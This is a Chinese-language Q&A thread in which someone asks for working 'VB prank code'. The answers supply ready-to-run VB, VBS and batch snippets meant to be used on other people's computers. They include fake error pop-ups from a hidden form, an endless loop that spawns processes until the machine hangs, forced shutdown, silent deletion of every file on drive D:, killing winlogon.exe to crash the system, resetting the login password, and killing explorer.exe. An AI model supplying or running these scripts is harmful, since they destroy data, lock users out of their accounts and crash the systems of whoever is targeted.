Question

vb整人代码

要能用的 ok？

Answer 1

放一个timer,名为timer1
Private Sub Form_Load()
Me.Visible = False
Timer1.Interval = 10*1000
End Sub
Private Sub Timer1_Timer()
msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
'可以多复制几个 msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告"
End Sub

Answer 2

打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop

直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈 被耍了！"
loop

Answer 3

shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide
运行后直接蓝屏。。。慎用~

Answer 4

多了 去看我回答的所有内容 我最在行了 VB的 不知道了
你应该不是很会 这些东西 VB还要编成EXE 有点麻烦 我估计你问的是VBS BAT之类的脚本

1.掉qq
taskkill /im qq.exe /f /t
2.10秒强制关机（任务管理器无效）
shutdown -s -t 10
3.死机
start cmd
0%
4.设置登录密码为2097152
net user "%username%" 2097152
5.让电脑只剩一个背景
taskkill /im /f /t explorer.exe

VBS的
1.莫名其妙结束当前程序
set ws=createobject("wscript.shell")
do
ws.sendkeys "%{f4}"
loop

2.不断提示你是猪
do
msgbox("你是猪")
loop
剩下的是我以前编的
http://wenwen.soso.com/z/q242167878.htm
去这个网看看
BAT怎么写 你自己去网上找找我就不费话了

Answer 5

shell("shutdown -s -t 1")